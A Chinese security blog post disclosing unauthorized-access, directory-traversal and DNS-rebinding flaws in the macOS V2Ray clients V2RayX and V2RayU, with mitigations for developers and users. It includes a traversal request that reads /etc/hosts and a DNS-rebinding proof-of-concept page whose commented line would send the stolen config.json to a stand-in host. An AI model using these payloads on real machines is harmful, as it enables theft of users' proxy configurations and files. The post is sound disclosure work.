从 V2Ray 客户端看本地 HTTP 服务安全

这是洒家半年前研究的,没啥重要的原创内容,一直懒得写,前几天想起来,于是搞篇文章瞎扯一番。本文主要以 V2RayX、V2RayU 等图形化客户端为例,研究本地 HTTP 服务的未授权访问漏洞,及其利用方法。

漏洞及其背景

V2RayX 客户端配置文件未授权访问漏洞

V2RayX 是一种 macOS 版 V2Ray 客户端,目前最新版本为 v1.5.1,发布于 2019-2-14。

首先我们要知道,所有的 V2Ray GUI 客户端实际上都是对 V2Ray Core 的一个包装,负责把用户设置转换为配置文件,并管理 v2ray 进程,最后肯定要执行一条类似 v2ray -config=/PATH/TO/config.json 或者 v2ray -config=http://127.0.0.1:8070/config.json 的命令。其中,配置文件通过命令行参数提供,可以是一个 HTTP/HTTPS 协议的 URL,也可以是本地文件。

当时洒家在这个项目里发现了一条 issue:功能建议 关闭 http://127.0.0.1:PORT/config.json 显示当前配置信息。V2RayX 的配置文件地址是通过 HTTP 协议传递到 V2Ray Core 的。有人建议不要通过 http://127.0.0.1:PORT/config.jsonv2ray 提供配置文件。

监听 127.0.0.1 提供 HTTP 接口是一种很普遍的操作。例如,QQ 客户端会监听 43004310 等端口,用于实现 QQ 邮箱等网页的“快速登录”功能。但是,开发人员需要注意,只应当监听 127.0.0.1 而不是 0.0.0.0,禁止局域网内其他设备连入,防止出现类似 2015 年百度全系 APP SDK WormHole 远程代码执行漏洞的漏洞。另外,开发人员需要验证 HTTP 请求头,防止 DNS 重绑定攻击。例如开源文件同步工具 Syncthing 监听了 127.0.0.1:8384 提供 Web UI,HTTP Server 会验证 HTTP Host 请求头。如果请求头不在白名单内,则拒绝访问:

$ curl -v http://127.0.0.1.xip.io:8384/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 8384 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1.xip.io:8384
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Mon, 02 Mar 2020 15:13:55 GMT
< Content-Length: 17
<
Host check error
* Connection #0 to host 127.0.0.1.xip.io left intact

洒家在这个 issue 的评论中建议通过本地文件而不是 HTTP 接口提供配置文件。这样可以减少不必要的攻击面,一定程度上提高安全性。有人回复洒家,认为洒家在扯淡(此评论已消失),于是洒家演示了一波 DNS 重绑定攻击。(整完活才发现撞洞了,有人 5 天前已经搞过一次了,极尴尬)

后续又有人评论

目前监听的地址是 0.0.0.0,建议还是 127.0.0.1 好些吧

这时洒家才发现问题比原来想的更严重。在 macOS 上,如果一个应用程序监听了 0.0.0.0,系统防火墙会弹出一个对话框:

您要应用程序“XXXXXX”接受传入网络连接吗?
blah blah blah ...
拒绝 允许

如果用户不理解或者没注意,点击了 允许,则相同局域网的其他用户就可以直接访问配置文件。有些用户(甚至一些信息安全从业的同学)从来都不打开防火墙,他们的配置文件更是直接白给。

V2RayU 的类似漏洞

macOS 上另一款 V2Ray 软件 V2rayU 也有类似的问题

2019-5-22 发布的 1.3.0 版本使用 /usr/bin/python -m SimpleHTTPServer 1085 命令来 serve PAC 脚本等文件,监听了 0.0.0.0。其后,在 2019-5-26 发布的 1.3.1 版本中改用 GCDWebServer,但是并没有解决这个问题,反而引入了目录穿越漏洞,可以远程读取任意文件:

>>> import requests
>>> print(requests.get('http://192.168.0.199:1085/../../../../../../etc/hosts').text)
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1   localhost
255.255.255.255 broadcasthost

这些漏洞在后续版本中似乎已修复。

DNS 重绑定攻击

DNS 通常是访问互联网的起点,往往也是其中相对薄弱的环节。恶意网站使用 DNS 重绑定攻击,可以轻松绕过浏览器同源策略的限制,达到通过浏览器访问本机和内网资源的目的。

以下是用 DNS rebinding 攻击 V2RayX 的一个 POC。即使用户启用了防火墙,或者 HTTP Server 只监听 127.0.0.1,当用户访问了恶意网页,配置文件也可以在约 1 分钟内回传到攻击者的远程服务器。

测试环境:macOS 10.14.5,Google Chrome 75.0.3770.80,网络环境为某校园网(含有校内默认 DNS),DNS Server 使用阿里云 VPS,Web Server 使用内网一台 Linux。

首先注册一个域名 www.example.comNS 指向上述 VPS。编写一个简单的 DNS Server Python 脚本,当收到查询 www.example.com 时会循环返回不同的结果(127.0.0.1 或者上述 web 服务器),且 TTL=0

web 服务器上放置一个网页 cross.html,代码类似如下内容:

<h1>hacker page</h1>
<p id="output"></p>

<script type="text/javascript">
var output = document.getElementById('output');
output.innerText += 'wait 65 sec\n';
setTimeout(function(){
    output.innerText += 'start attack\n';
    var url = 'http://www.example.com:8070/config.json';

    for(var i_try=0; i_try < 2; i_try++){
        output.innerText += 'try ' +i_try + '\n';
        var xhr=new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.onreadystatechange = function(){
            output.innerText += 'state change\n';
            if(xhr.readyState==4){
                // alert(xhr.responseText);
                output.innerText += 'content start\n';
                output.innerText += xhr.responseText;  // can be sent to any remote server
                // (new Image()).src='https://receiver.example.com/?content=' + encodeURIComponent(xhr.responseText);
                output.innerText += 'content end\n';
            }
        }
        xhr.send();
    }
}, 65 * 1000);
</script>

假设用户第一次访问 http://www.example.com:8070/cross.html 时 DNS 解析结果指向攻击者的 web 服务器。Chrome 等浏览器缓存 DNS 结果的时间大致在 1 分钟左右。因此上述代码在打开网页 60 秒后,使用 ajax 访问 http://www.example.com:8070/config.json 时,会再次查询 DNS,其解析结果指向 127.0.0.1。域名、端口、协议都没有变,可以“跨域”访问敏感信息。

效果截图:

v2rayx-vul-chrome.png
Google Chrome 最新版成功跨域读取 config.json
v2rayx-vul-logs.png
DNS server 和 web server 日志
v2rayx-vul-got-json.png
config.json 成功传回攻击者服务器

以上只是一个简单的 POC,如果精心构造 payload 和 DNS Server,就可以以相当大的概率窃取敏感信息。有关部门或者恶意用户只需要在常用可控网站上放置 srchttp://www.example.com:8070/cross.htmliframe,就可以有相当大的概率,神不知鬼不觉地窃取到访问者的 config.json,用户的小水管就会白给。

防御

目前在 DNS 服务器、浏览器、Web 服务器等层面已经有了很多手段缓解 DNS 重绑定攻击。

例如,某些 Linux 发行版自带的 dnsmasq 支持 stop-dns-rebindrebind-domain-okrebind-localhost-ok 等配置选项,会拒绝上游 DNS 服务器的内网 IP 解析结果。

对于 Web 服务器,以 Apache 为例,应当编辑配置文件,/etc/apache2/sites-enabled/000-default.conf 默认网站不要放置重要信息,Web App 只能通过正确的域名(+HTTPS) 访问。

实测扫描某内网

针对使用 V2RayX(监听 0.0.0.0)且未启用防火墙的用户,根据相关法律法规和政策,洒家懒得写了,此处删除 114514 字

修复建议

开发者修复建议

如果一定要用 HTTP Server:

对于 V2Ray 客户端,更好的修复方式:

HTTP Server 只用来 serve PAC 脚本这 1 个文件,使用本地文件的方式向 v2ray 提供配置文件。

用户建议

漏洞缓解方法:

在 系统设置 - 安全性与隐私 - 防火墙 中,开启防火墙。在防火墙选项中,将 V2RayX.app 等不需要传入连接的 APP 设置为 阻止传入连接

对于 V2RayX 用户,此项目已经长期未更新,也可以改用其他客户端。

高级用户可以直接用 homebrew 安装 v2ray-core 包,用命令行运行 V2Ray


Comments

您可以匿名发表评论,无需登录 Disqus 账号,勾选“我更想匿名评论”后,姓名和电子邮件分别填写“匿名”和“someone@example.com”然后发表评论即可。您也可以登录 Disqus 账号后发表评论。您的评论可能需要经过我审核后才能显示。点赞投票按钮(Reactions)无需登录即可点击。Disqus 评论系统在中国大陆可能无法正常加载和使用。

License

Creative Commons License

本作品采用知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).

Top